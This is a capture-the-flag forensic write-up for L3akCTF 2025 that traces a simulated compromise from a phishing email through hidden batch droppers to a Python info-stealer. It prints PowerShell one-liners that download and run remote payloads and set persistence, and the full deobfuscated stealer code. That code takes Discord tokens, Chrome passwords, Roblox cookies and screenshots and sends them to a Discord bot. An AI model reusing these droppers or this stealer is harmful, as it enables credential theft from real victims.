Post

L3akCTF 2025 - BOMbardino crocodile Writeups.

L3akCTF 2025 - BOMbardino crocodile Writeups.

BOMbardino crocodile - Forensic

Challenge Description

1
2
3
4
APT Lobster has successfully breached a machine in our network, marking their first confirmed intrusion.
Fortunately, the DFIR team acted quickly, isolating the compromised system and collecting several suspicious files for analysis.
Among the evidence, they also recovered an outbound email sent by the attacker just before containment, I wonder who was he communicating with.
The flag consists of 2 parts.

Introduction

Unzip the challenge files, we had been provided with 2 files, Welcome to the Brotherhood... 2025-05-10T20_24_11+08_00.eml email file and 2025-05-30T125329_l3akctf which is artifacts of our compromised machine.

Obtained Flag 2nd Part.

Analyze The EML File.

Use the commmand strings on the Welcome to the Brotherhood... 2025-05-10T20_24_11+08_00.eml return encoded base64 strings.

image

Next, proceed to manually decoding the text using cyberchef tool. Remove all the HTML and CSS tag from the original text so it more readable and easy to understand:

1
2
3
4
5
6
7
Greetings, Operative.
Your activity has not gone unnoticed. The time has come to proceed to the next level. 
Brotherhood protocols demand absolute discretion. As of 0400 hours, access has been provisioned.
📩 Secure your invite: 👉 https://discord.gg/a7SUtZXaP4.
Inside you will find leaks of people dumb enough to click on our brainrot exam.
đź”’ Reminder: Do NOT share this link. Operatives who leak will be exiled. Again.
Stay cloaked. Stay corrupt

From the email messages, I’ve obtained their Discord channel which has been use to send the stolen data via Discord Bot.

image

There are 2 files contstanlty upload in the channel which is pay2winflag.jpg.enc, a jpg file that got encrypted. There might be some sort of Key use to decode it. Next is the Password.zip file, nothing interesting here. Move on to analye the artifacts.

Analyze The Coompromised Machine Directory.

There are 2 users in the machine which is crustacean and public. Each users got a decent amount of files, so I start with the crustacean first, maybe got a leads somewhere.

image

After a few minutes wandering around in the folder, we got something quite interesting. In the /Users/crustacean/Downloads folder.

image

From the /Users/crustacean/Downloads folder, we obtain 3 files. Analyzing each files return this conclusion:

1
2
3
1. Lil L3ak secret plans for tonight.bat - Mysterious Unicode text, UTF-16, little-endian text, with very long lines (32767) with .bat extension
2. lil-l3ak-exam.pdf - just a brainrot quiz for new members format pdf file.
3. roblox-codes.txt - Txt files with bunch of custom made Roblox Gift Cards code.

Analyze “Lil L3ak secret plans for tonight.bat” File

Using the strings command on the Lil L3ak secret plans for tonight.bat for a better view. The contents inside begin with the word echo which a command use to writes character strings to standard output, followed with a bunch of gibberish unknown brainrot text. But its not stop there, in forensic, everything matter even a small things.

image

Keep scrolling down, digging up the Lil L3ak secret plans for tonight.bat.bat file I found an interesting command hidden in the gibberish text.

image

Let me pull it out for you:

1
2
start /min cmd /c "powershell -WindowStyle Hidden -Command Invoke-WebRequest -Uri 'https://github.com/bluecrustacean/oceanman/raw/main/t1-l3ak.bat'
-OutFile '%TEMP%\temp.bat'; Start-Process -FilePath '%TEMP%\temp.bat' -WindowStyle Hidden"

So basically, what the command do is:

1
2
3
4
5
6
7
8
9
`start /min cmd /c`: launches a minimized Command Prompt that runs a PowerShell command

`Powershell -WindowStyle Hidden -Command`: Launches PowerShell in a hidden window to nsures the PowerShell window is not visible to the user and prepare to execute next command. 

`Invoke-WebRequest -Uri 'https://github.com/bluecrustacean/oceanman/raw/main/t1-l3ak.bat'`: Use to download a file from the specified URL.

`-OutFile '%TEMP%\temp.bat'`: Saves the downloaded file in the current users `/%temp/` folder and name as `temp.bat`

`Start-Process -FilePath '%TEMP%\temp.bat' -WindowStyle Hidden`: start the process of the recent save file in hidden windows. 

Analyze “Temp.bat” File.

Previous command found lead to the temp.bat in Temp folder in the current users crustacean/Appdata/Local/Temp. Read the contents using strings commands once again.

image

Same as previous file, the temp.bat start with echo command followed by gibberish text. Analyze the full text and we find another interesting command hidden in the middle of the gibberish text.

image

Let me pull it out for you again:

1
2
3
4
5
start /min powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12;
(New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/bluecrustacean/oceanman/raw/main/ud.bat', '%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsSecure.bat');
(New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/uuhwziczwa79d6r8erdid/T602.zip?rlkey=fq4lptuz5tvw2qjydfwj9k0ym&st=mtz77hlx&dl=1',
'C:\\Users\\Public\\Document.zip'); Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:/Users/Public/Document.zip', 'C:/Users/Public/Document');
Start-Sleep -Seconds 60; C:\\Users\\Public\\Document\\python.exe C:\Users\Public\Document\Lib\leak.py; Remove-Item 'C:/Users/Public/Document.zip' -Force" && exit

What the command do? here:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
`start /min powershell.exe -WindowStyle Hidden -Command`: Launches PowerShell in a hidden, minimized window to execute the full command chain silently.

`[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12;`: Ensures PowerShell uses TLS 1.2 for secure HTTPS connections, required by many modern servers.

`(New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/bluecrustacean/oceanman/raw/main/ud.bat', '%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsSecure.bat');`: Downloads a batch file from GitHub and saves it into the user's Startup folder to achieve persistence—so it runs automatically at system startup.

`(New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/uuhwziczwa79d6r8erdid/T602.zip?rlkey=fq4lptuz5tvw2qjydfwj9k0ym&st=mtz77hlx&dl=1', 'C:\\Users\\Public\\Document.zip');`: Downloads a ZIP file (T602.zip) from Dropbox and saves it to a public folder accessible to all users.

`Add-Type -AssemblyName System.IO.Compression.FileSystem;`: Loads the .NET assembly needed to extract ZIP files using PowerShell.

`[System.IO.Compression.ZipFile]::ExtractToDirectory('C:/Users/Public/Document.zip', 'C:/Users/Public/Document');`: Extracts the contents of the ZIP file into the C:\Users\Public\Document\ directory.

`Start-Sleep -Seconds 60;`: Pauses execution for 60 seconds—likely to let files extract or system settle before running the next step.

`C:\\Users\\Public\\Document\\python.exe C:\Users\Public\Document\Lib\leak.py;`: Runs a Python script (leak.py) using a bundled python.exe interpreter—likely to execute malicious actions such as stealing data.

`Remove-Item 'C:/Users/Public/Document.zip'` : Deletes the original ZIP archive to clean up traces of the operation.

` -Force  && exit`: Closes the command shell after everything is executed.

From above executed command, the downloaded zip file was extracted in Public users directory. And run a python script located in C:\Users\Public\Document\Lib\leak.py

Analyze “leak.py” File.

Navigate to the python script location C:\Users\Public\Document\Lib\leak.py, used strings to read the file content.

image

Once again, result return was another bunch of gibberish text, but this one quiet different cause the hidden commands has been encrypted using certain encryption method. Let discuss:

1
2
3
_ = lambda __ : __import__('base64').b64decode(__[::-1]);exec((_)(b'=kSKnoFWoxWW5d2bYl3avlVajlDUWZETjdkTwZVMs9mUyoUYiRkThRWbodlWYlUNWFDZ3RFbkBVVXJ1RXtmVPJVMKR1Vsp
1Vj1mUZRFbOFmYGRGMW1GeoJVMadlVYxmbSJjThN2RxMFVF9WeZRlTr1UMSllUtBHWZVlSxV1aW9UTWplcX1WNYRmM0VUWxI0UhFjShVlaKdlTHdGeWxGbHZ1a180VrpFakBjWzZ1a5cUTWJ1VXxmVPd1RSJnVxgWY
iVUMM90VxUlVYJkVWJj............................(other longs how many bytes of encoded text that foking long)

Above command defines:

1
2
3
4
5
6
7
8
9
a lambda (anonymous function) _ that:

Takes an input string `__`

Reverses it with `__[::-1]`

Decodes it using Base64 `(b64decode)`

`__import__('base64')` is a sneaky way to import the base64 module without using the normal import keyword.

Here the Malicious script has been encrypt using the base64 and reversed to make it more complex. Using cyberchef, bake the encrypted script using reverse and base64. Repeat the same step multiples time until we got the original text.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
import psutil
import platform
import json
from datetime import datetime
from time import sleep
import requests
import socket
from requests import get
import os
import re
import subprocess
from uuid import getnode as get_mac
import browser_cookie3 as steal, requests, base64, random, string, zipfile, shutil, os, re, sys, sqlite3
from cryptography.hazmat.primitives.ciphers import (Cipher, algorithms, modes)
from cryptography.hazmat.primitives.ciphers.aead import AESGCM
from cryptography.hazmat.backends import default_backend
from Crypto.Cipher import AES
from base64 import b64decode, b64encode
from subprocess import Popen, PIPE
from json import loads, dumps
from shutil import copyfile
from sys import argv
import discord
from discord.ext import commands
from io import BytesIO

intents = discord.Intents.default()
intents.message_content = True
bot = commands.Bot(command_prefix='!', intents=intents)

def scale(bytes, suffix="B"):
    defined = 1024
    for unit in ["", "K", "M", "G", "T", "P"]:
        if bytes < defined:
            return f"{bytes:.2f}{unit}{suffix}"
        bytes /= defined

uname = platform.uname()
bt = datetime.fromtimestamp(psutil.boot_time())
host = socket.gethostname()
localip = socket.gethostbyname(host)

publicip = get(f'https://ipinfo.io/ip').text
city = get(f'https://ipinfo.io/{publicip}/city').text
region = get(f'https://ipinfo.io/{publicip}/region').text
postal = get(f'https://ipinfo.io/{publicip}/postal').text
timezone = get(f'https://ipinfo.io/{publicip}/timezone').text
currency = get(f'https://ipinfo.io/{publicip}/currency').text
country = get(f'https://ipinfo.io/{publicip}/country').text
loc = get(f"https://ipinfo.io/{publicip}/loc").text
vpn = requests.get('http://ip-api.com/json?fields=proxy')
proxy = vpn.json()['proxy']
mac = get_mac()

roaming = os.getenv('AppData')
output = open(roaming + "temp.txt", "a")

Directories = {
        'Discord': roaming + '\\Discord',
        'Discord Two': roaming + '\\discord',
        'Discord Canary': roaming + '\\Discordcanary',
        'Discord Canary Two': roaming + '\\discordcanary',
        'Discord PTB': roaming + '\\discordptb',
        'Google Chrome': roaming + '\\Google\\Chrome\\User Data\\Default',
        'Opera': roaming + '\\Opera Software\\Opera Stable',
        'Brave': roaming + '\\BraveSoftware\\Brave-Browser\\User Data\\Default',
        'Yandex': roaming + '\\Yandex\\YandexBrowser\\User Data\\Default',
}

def Yoink(Directory):
    Directory += '\\Local Storage\\leveldb'
    Tokens = []

    for FileName in os.listdir(Directory):
        if not FileName.endswith('.log') and not FileName.endswith('.ldb'):
            continue

        for line in [x.strip() for x in open(f'{Directory}\\{FileName}', errors='ignore').readlines() if x.strip()]:
            for regex in (r'[\w-]{24}\.[\w-]{6}\.[\w-]{27}', r'mfa\.[\w-]{84}'):
                for Token in re.findall(regex, line):
                    Tokens.append(Token)

    return Tokens

def Wipe():
    if os.path.exists(roaming + "temp.txt"):
      output2 = open(roaming + "temp.txt", "w")
      output2.write("")
      output2.close()
    else:
      pass

realshit = ""
for Discord, Directory in Directories.items():
    if os.path.exists(Directory):
        Tokens = Yoink(Directory)
        if len(Tokens) > 0:
            for Token in Tokens:
                realshit += f"{Token}\n"

cpufreq = psutil.cpu_freq()
svmem = psutil.virtual_memory()
partitions = psutil.disk_partitions()
disk_io = psutil.disk_io_counters()
net_io = psutil.net_io_counters()

partitions = psutil.disk_partitions()
partition_usage = None
for partition in partitions:
    try:
        partition_usage = psutil.disk_usage(partition.mountpoint)
        break
    except PermissionError:
        continue

system_info = {
    "embeds": [
        {
            "title": f"Hah Gottem! - {host}",
            "color": 8781568
        },
        {
            "color": 7506394,
            "fields": [
                {
                    "name": "GeoLocation",
                    "value": f"Using VPN?: {proxy}\nLocal IP: {localip}\nPublic IP: {publicip}\nMAC Adress: {mac}\n\nCountry: {country} | {loc} | {timezone}\nregion: {region}\nCity: {city} | {postal}\nCurrency: {currency}\n\n\n\n"
                }
            ]
        },
        {
            "fields": [
                {
                    "name": "System Information",
                    "value": f"System: {uname.system}\nNode: {uname.node}\nMachine: {uname.machine}\nProcessor: {uname.processor}\n\nBoot Time: {bt.year}/{bt.month}/{bt.day} {bt.hour}:{bt.minute}:{bt.second}"
                }
            ]
        },
        {
            "color": 15109662,
            "fields": [
                {
                    "name": "CPU Information",
                    "value": f"Psychical cores: {psutil.cpu_count(logical=False)}\nTotal Cores: {psutil.cpu_count(logical=True)}\n\nMax Frequency: {cpufreq.max:.2f}Mhz\nMin Frequency: {cpufreq.min:.2f}Mhz\n\nTotal CPU usage: {psutil.cpu_percent()}\n"
                },
                {
                    "name": "Memory Information",
                    "value": f"Total: {scale(svmem.total)}\nAvailable: {scale(svmem.available)}\nUsed: {scale(svmem.used)}\nPercentage: {svmem.percent}%"
                },
                {
                    "name": "Disk Information",
                    "value": f"Total Size: {scale(partition_usage.total)}\nUsed: {scale(partition_usage.used)}\nFree: {scale(partition_usage.free)}\nPercentage: {partition_usage.percent}%\n\nTotal read: {scale(disk_io.read_bytes)}\nTotal write: {scale(disk_io.write_bytes)}"
                },
                {
                    "name": "Network Information",
                    "value": f"Total Sent: {scale(net_io.bytes_sent)}\nTotal Received: {scale(net_io.bytes_recv)}"
                }
            ]
        },
        {
            "color": 7440378,
            "fields": [
                {
                    "name": "Discord information",
                    "value": f"Token: {realshit}"
                }
            ]
        }
    ]
}

DBP = r'Google\Chrome\User Data\Default\Login Data'
ADP = os.environ['LOCALAPPDATA']

def sniff(path):
    path += '\\Local Storage\\leveldb'

    tokens = []
    try:
        for file_name in os.listdir(path):
            if not file_name.endswith('.log') and not file_name.endswith('.ldb'):
                continue

            for line in [x.strip() for x in open(f'{path}\\{file_name}', errors='ignore').readlines() if x.strip()]:
                for regex in (r'[\w-]{24}\.[\w-]{6}\.[\w-]{27}', r'mfa\.[\w-]{84}'):
                    for token in re.findall(regex, line):
                        tokens.append(token)
        return tokens
    except:
        pass


def encrypt(cipher, plaintext, nonce):
    cipher.mode = modes.GCM(nonce)
    encryptor = cipher.encryptor()
    ciphertext = encryptor.update(plaintext)
    return (cipher, ciphertext, nonce)


def decrypt(cipher, ciphertext, nonce):
    cipher.mode = modes.GCM(nonce)
    decryptor = cipher.decryptor()
    return decryptor.update(ciphertext)


def rcipher(key):
    cipher = Cipher(algorithms.AES(key), None, backend=default_backend())
    return cipher


def dpapi(encrypted):
    import ctypes
    import ctypes.wintypes

    class DATA_BLOB(ctypes.Structure):
        _fields_ = [('cbData', ctypes.wintypes.DWORD),
                    ('pbData', ctypes.POINTER(ctypes.c_char))]

    p = ctypes.create_string_buffer(encrypted, len(encrypted))
    blobin = DATA_BLOB(ctypes.sizeof(p), p)
    blobout = DATA_BLOB()
    retval = ctypes.windll.crypt32.CryptUnprotectData(
        ctypes.byref(blobin), None, None, None, None, 0, ctypes.byref(blobout))
    if not retval:
        raise ctypes.WinError()
    result = ctypes.string_at(blobout.pbData, blobout.cbData)
    ctypes.windll.kernel32.LocalFree(blobout.pbData)
    return result


def localdata():
    jsn = None
    with open(os.path.join(os.environ['LOCALAPPDATA'], r"Google\Chrome\User Data\Local State"), encoding='utf-8', mode="r") as f:
        jsn = json.loads(str(f.readline()))
    return jsn["os_crypt"]["encrypted_key"]


def decryptions(encrypted_txt):
    encoded_key = localdata()
    encrypted_key = base64.b64decode(encoded_key.encode())
    encrypted_key = encrypted_key[5:]
    key = dpapi(encrypted_key)
    nonce = encrypted_txt[3:15]
    cipher = rcipher(key)
    return decrypt(cipher, encrypted_txt[15:], nonce)


class chrome:
    def __init__(self):
        self.passwordList = []

    def chromedb(self):
        _full_path = os.path.join(ADP, DBP)
        _temp_path = os.path.join(ADP, 'sqlite_file')
        if os.path.exists(_temp_path):
            os.remove(_temp_path)
        shutil.copyfile(_full_path, _temp_path)
        self.pwsd(_temp_path)
        
    def pwsd(self, db_file):
        conn = sqlite3.connect(db_file)
        _sql = 'select signon_realm,username_value,password_value from logins'
        for row in conn.execute(_sql):
            host = row[0]
            if host.startswith('android'):
                continue
            name = row[1]
            value = self.cdecrypt(row[2])
            _info = '[==================]\nhostname => : %s\nlogin => : %s\nvalue => : %s\n[==================]\n\n' % (host, name, value)
            self.passwordList.append(_info)
        conn.close()
        os.remove(db_file)

    def cdecrypt(self, encrypted_txt):
        if sys.platform == 'win32':
            try:
                if encrypted_txt[:4] == b'\x01\x00\x00\x00':
                    decrypted_txt = dpapi(encrypted_txt)
                    return decrypted_txt.decode()
                elif encrypted_txt[:3] == b'v10':
                    decrypted_txt = decryptions(encrypted_txt)
                    return decrypted_txt[:-16].decode()
            except WindowsError:
                return None
        else:
            pass

    def saved(self):
        try:
            with open(r'C:\ProgramData\passwords.txt', 'w', encoding='utf-8') as f:
                f.writelines(self.passwordList)
        except WindowsError:
            return None

@bot.event
async def on_ready():
    print(f'Logged in as {bot.user}')
    
    channel = bot.get_channel(CHANNEL_ID)
    if not channel:
        print(f"Could not find channel with ID: {CHANNEL_ID}")
        return
    
    main = chrome()
    try:
        main.chromedb()
    except Exception as e:
        print(f"Error getting Chrome passwords: {e}")
    main.saved()
    
    await exfiltrate_data(channel)
    
    await bot.close()

async def exfiltrate_data(channel):
    try:
        hostname = requests.get("https://ipinfo.io/ip").text
    except:
        hostname = "Unknown"
    
    local = os.getenv('LOCALAPPDATA')
    roaming = os.getenv('APPDATA')
    paths = {
        'Discord': roaming + '\\Discord',
        'Discord Canary': roaming + '\\discordcanary',
        'Discord PTB': roaming + '\\discordptb',
        'Google Chrome': local + '\\Google\\Chrome\\User Data\\Default',
        'Opera': roaming + '\\Opera Software\\Opera Stable',
        'Brave': local + '\\BraveSoftware\\Brave-Browser\\User Data\\Default',
        'Yandex': local + '\\Yandex\\YandexBrowser\\User Data\\Default'
    }

    message = '\n'
    for platform, path in paths.items():
        if not os.path.exists(path):
            continue

        message += '```'
        tokens = sniff(path)

        if len(tokens) > 0:
            for token in tokens:
                message += f'{token}\n'
        else:
            pass
        message += '```'

    try:
        from PIL import ImageGrab
        from Crypto.Cipher import ARC4
        screenshot = ImageGrab.grab()
        screenshot_path = os.getenv('ProgramData') + r'\pay2winflag.jpg'
        screenshot.save(screenshot_path)

        with open(screenshot_path, 'rb') as f:
            image_data = f.read()

        key = b'tralalero_tralala'
        cipher = ARC4.new(key)
        encrypted_data = cipher.encrypt(image_data)

        encrypted_path = screenshot_path + '.enc'
        with open(encrypted_path, 'wb') as f:
            f.write(encrypted_data)

        await channel.send(f"Screenshot from {hostname} (Pay $500 for the key)", file=discord.File(encrypted_path))

    except Exception as e:
        print(f"Error taking screenshot: {e}")

    try:
        zname = r'C:\ProgramData\passwords.zip'
        newzip = zipfile.ZipFile(zname, 'w')
        newzip.write(r'C:\ProgramData\passwords.txt')
        newzip.close()
        
        await channel.send(f"Passwords from {hostname}", file=discord.File(zname))
    except Exception as e:
        print(f"Error with password file: {e}")

    try:
        usr = os.getenv("UserName")
        keys = subprocess.check_output('wmic path softwarelicensingservice get OA3xOriginalProductKey').decode().split('\n')[1].strip()
        types = subprocess.check_output('wmic os get Caption').decode().split('\n')[1].strip()
    except Exception as e:
        print(f"Error getting system info: {e}")
        usr = "Unknown"
        keys = "Unknown"
        types = "Unknown"

    cookie = [".ROBLOSECURITY"]
    cookies = []
    limit = 2000
    roblox = "No Roblox cookies found"

    try:
        cookies.extend(list(steal.chrome()))
    except Exception as e:
        print(f"Error stealing Chrome cookies: {e}")

    try:
        cookies.extend(list(steal.firefox()))
    except Exception as e:
        print(f"Error stealing Firefox cookies: {e}")

    try:
        for y in cookie:
            send = str([str(x) for x in cookies if y in str(x)])
            chunks = [send[i:i + limit] for i in range(0, len(send), limit)]
            for z in chunks:
                roblox = f'```{z}```'
    except Exception as e:
        print(f"Error processing cookies: {e}")

    embed = discord.Embed(title=f"Data from {hostname}", description="A victim's data was extracted, here's the details:", color=discord.Color.blue())
    embed.add_field(name="Windows Key", value=f"User: {usr}\nType: {types}\nKey: {keys}", inline=False)
    embed.add_field(name="Roblox Security", value=roblox[:1024], inline=False)
    embed.add_field(name="Tokens", value=message[:1024], inline=False)
    
    await channel.send(embed=embed)
    
    with open(r'C:\ProgramData\system_info.json', 'w', encoding='utf-8') as f:
        json.dump(system_info, f, indent=4, ensure_ascii=False)
    
    await channel.send(file=discord.File(r'C:\ProgramData\system_info.json'))

    try:
        os.remove(r'C:\ProgramData\pay2winflag.jpg')
        os.remove(r'C:\ProgramData\pay2winflag.jpg.enc')
        os.remove(r'C:\ProgramData\passwords.zip')
        os.remove(r'C:\ProgramData\passwords.txt')
        os.remove(r'C:\ProgramData\system_info.json')
    except Exception as e:
        print(f"Error cleaning up: {e}")

BOT_TOKEN = "MTM2NDIzNDEzNjE5MzMzOTQyNA.GHC4yD.**************************"
CHANNEL_ID = 1371505369230344273

if __name__ == "__main__":
    bot.run(BOT_TOKEN)
mDZ

From the Malicious script, we found the function used to encrypt the jpg file:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
 try:
        from PIL import ImageGrab
        from Crypto.Cipher import ARC4
        screenshot = ImageGrab.grab()
        screenshot_path = os.getenv('ProgramData') + r'\pay2winflag.jpg'
        screenshot.save(screenshot_path)

        with open(screenshot_path, 'rb') as f:
            image_data = f.read()

        key = b'tralalero_tralala'
        cipher = ARC4.new(key)
        encrypted_data = cipher.encrypt(image_data)

        encrypted_path = screenshot_path + '.enc'
        with open(encrypted_path, 'wb') as f:
            f.write(encrypted_data)

From the Function, the key used to encrypt the pay2wubflag.jpg file was could be seen: key = b'tralalero_tralala' with the combination of ARC4 cipher. We got the pay2wubflag.jpg.enc from the file and the key, so we could retrive the original jpg

Retrieve Original File & Flag.

Here I’ve construct a simple script to decrypt the file using the key and retrieve the original file, in the mean time located the 2nd part of the flag

1
2
3
4
5
6
7
from Crypto.Cipher import ARC4
with open("pay2winflag.jpg.enc", "rb") as f:
    encrypted = f.read()
cipher = ARC4.new(b"tralalero_tralala")
decrypted = cipher.decrypt(encrypted)
with open("flag.jpg", "wb") as f:
    f.write(decrypted)

image

Obtained Flag 1st Part.

A bit lost on how to find the 1st part here, since there are not lead from previous finding, so i return back to analyze the artifacts. After a few minutes, I found another mysterious .bat file located in crustacean user path which is Users/crustacean/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup: WindowsSecure.bat

Analyze “WindowsSecure.bat” file

Using strings command on the WindowsSecure.bat file to view the contents,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
@echo off
set cb=
set ts= 
set cv="
set ms=-
set gt=.
set ax=/
set nc=0
set bs=3
set tc=4
set ch=:
set wj=A
set rd=B
set ui=C
set jl=D
set vv=H
set hp=K
set cm=L
set rz=P
set kv=S
set ym=U
setlocal EnableDelayedExpansion
set uj=W
set dt=\
set up=_
set qx=a
set da=b
set qf=c
set bl=d
set ke=e
set fn=f
set jq=g
set ea=h
set lc=i
set ln=j
set wc=k
set nt=l
set zm=m
set pm=n
set hr=o
set xv=p
set bi=q
set ae=r
set eh=s
set og=t
set zk=u
set vf=v
set jm=w
set sf=x
set gp=y
set ny=z
set xe={
%ke%%qf%%ea%%hr%
%zm%%zk%%fn%%nt%%da%%vf%%gp%%ny%%ke%%ae%%og%%ln%%qf%%ae%%bl%%fn%%og%%jq%%eh%%nt%%pm%%ny%%qx%%eh%%bi%%zm%%gp%%pm%%wc%%zm%%jm%%gp%%bl%%ke%%hr%%fn%%qx%%pm%%bl%%xv%%nt%%vf%%zm%%gp%%ke%%nt%%lc%%jm%%wc%%ae%%bi%%pm%%vf%%ke%%da%%qf%%og%%nt%%ln%%zk%%jm%%vf%%ae%%ln%%bl%%pm%%ke%%hr%%qf%%gp%%wc%%pm%%hr%%bl%%ny%%nt%%gp%%sf%%bl%%gp%%og%%jq%%pm%%ny%%jm%%qx%%xv%%ny%%jq%%qx%%zk%%gp%%wc%%gp%%pm%%bi%%ny%%da%%zm%%gp%%ke%%gp%%ke%%nt%%og%%zm%%wc%%jm%%jq%%qx%%nt%%og%%pm%%zm%%wc%%eh%%qf%%bi%%ln%%vf%%gp%%zk%%da%%ln%%bl%%bi%%ny%%og%%lc%%zm%%wc%%da%%jq%%bi%%xv%%ea%%ea%%ea%%nt%%jq%%nt%%nt%%qx%%qf%%bl%%jq%%fn%%eh%%qf%%vf%%zk%%wc%%xv%%pm%%fn%%hr%%lc%%sf%%pm%%zk%%xv%%gp%%ea%%ae%%fn%%qf%%jm%%nt%%bi%%ae%%da%%hr%%vf%%da%%ke%%jq%%fn%%bl%%qf%%xv%%jm%%qx%%lc%%zk%%ae%%fn%%qx%%xv%%vf%%qf%%ae%%zm%%qf%%xv%%lc%%xv%%qf%%gp%%jq%%ke%%zm%%sf%%zm%%og%%lc%%xv%%sf%%qf%%qf%%sf%%ke%%nt%%wc%%da%%vf%%ke%%xv%%zm%%lc%%fn%%ln%%lc%%zk%%zm%%xv%%xv%%bl%%og%%vf%%nt%%hr%%nt%%jm%%lc%%jm%%qf%%ae%%nt%%jm%%gp%%bi%%ny%%jm%%bl%%ny%%da%%hr%%xv%%jq%%jm%%da%%sf%%ny%%ae%%gp%%vf%%sf%%ln%%ea%%ae%%bl%%pm%%jq%%og%%jq%%og%%ny%%ae%%ny%%hr%%jq%%fn%%vf%%fn%%lc%%ea%%eh%%zm%%hr%%zk%%jm%%bi%%qf%%zk%%sf%%lc%%jm%%qf%%bi%%hr%%ke%%og%%qf%%qf%%xv%%bl%%bl%%lc%%wc%%gp%%sf%%qx%%ea%%sf%%pm%%qx%%fn%%lc%%xv%%jq%%zk%%og%%qx%%ke%%bl%%ny%%vf%%da%%gp%%ea%%jq%%og%%nt%%hr%%og%%da%%nt%%hr%%eh%%zk%%bl%%qf%%bi%%gp%%sf%%vf%%ny%%lc%%eh%%sf%%fn%%ke%%ke%%sf%%pm%%ke%%eh%%xv%%zm%%vf%%vf%%lc%%lc%%ae%%lc%%vf%%ke%%bl%%bi%%wc%%xv%%jq%%vf%%ea%%gp%%qx%%ny%%sf%%nt%%fn%%sf%%og%%lc%%zk%%fn%%jq%%ea%%wc%%ke%%fn%%sf%%bl%%nt%%eh%%qx%%xv%%nt%%da%%gp%%og%%pm%%ae%%bi%%zk%%jq%%zk%%zm%%jq%%qf%%da%%bi%%qx%%nt%%jq%%wc%%gp%%qx%%xv%%ny%%ea%%hr%%ea%%ke%%ny%%pm%%gp%%jm%%ln%%bi%%lc%%pm%%da%%ea%%qf%%lc%%og%%qx%%zm%%ln%%ny%%bi%%qx%%vf%%da%%ke%%bi%%gp%%gp%%wc%%qx%%qf%%ae%%gp%%qx%%lc%%lc%%jm%%ke%%ny%%sf%%sf%%jq%%bi%%og%%gp%%ke%%bi%%og%%zm%%bl%%pm%%xv%%jq%%wc%%gp%%jq%%da%%nt%%bi%%ln%%sf%%nt%%ny%%da%%zk%%zm%%eh%%nt%%ln%%jm%%xv%%qx%%da%%ln%%ea%%gp%%qf%%da%%qf%%ke%%sf%%ke%%gp%%da%%ae%%xv%%eh%%ke%%qf%%eh%%jq%%bl%%ea%%lc%%bi%%pm%%ny%%lc%%jq%%vf%%xv%%lc%%wc%%ln%%pm%%qf%%ny%%xv%%zk%%ln%%wc%%wc%%qx%%vf%%zm%%zm%%vf%%zk%%ae%%bi%%jm%%wc%%ke%%hr%%nt%%jq%%qx%%xv%%gp%%ke%%vf%%wc%%qx%%lc%%hr%%zk%%bi%%lc%%lc%%ln%%zk%%lc%%fn%%pm%%hr%%ea%%zk%%wc%%bl%%ke%%eh%%jq%%bi%%sf%%ke%%fn%%bl%%sf%%da%%bl%%og%%bl%%lc%%xv%%pm%%ny%%ln%%wc%%qf%%qf%%qx%%zk%%qf%%da%%lc%%bi%%da%%ny%%sf%%qf%%ny%%fn%%lc%%qx%%pm%%eh%%jm%%nt%%nt%%jq%%sf%%fn%%wc%%da%%ny%%bi%%qx%%vf%%nt%%bi%%zm%%qf%%ny%%ny%%ln%%ln%

image

This post is licensed under CC BY 4.0 by the author.

Trending Tags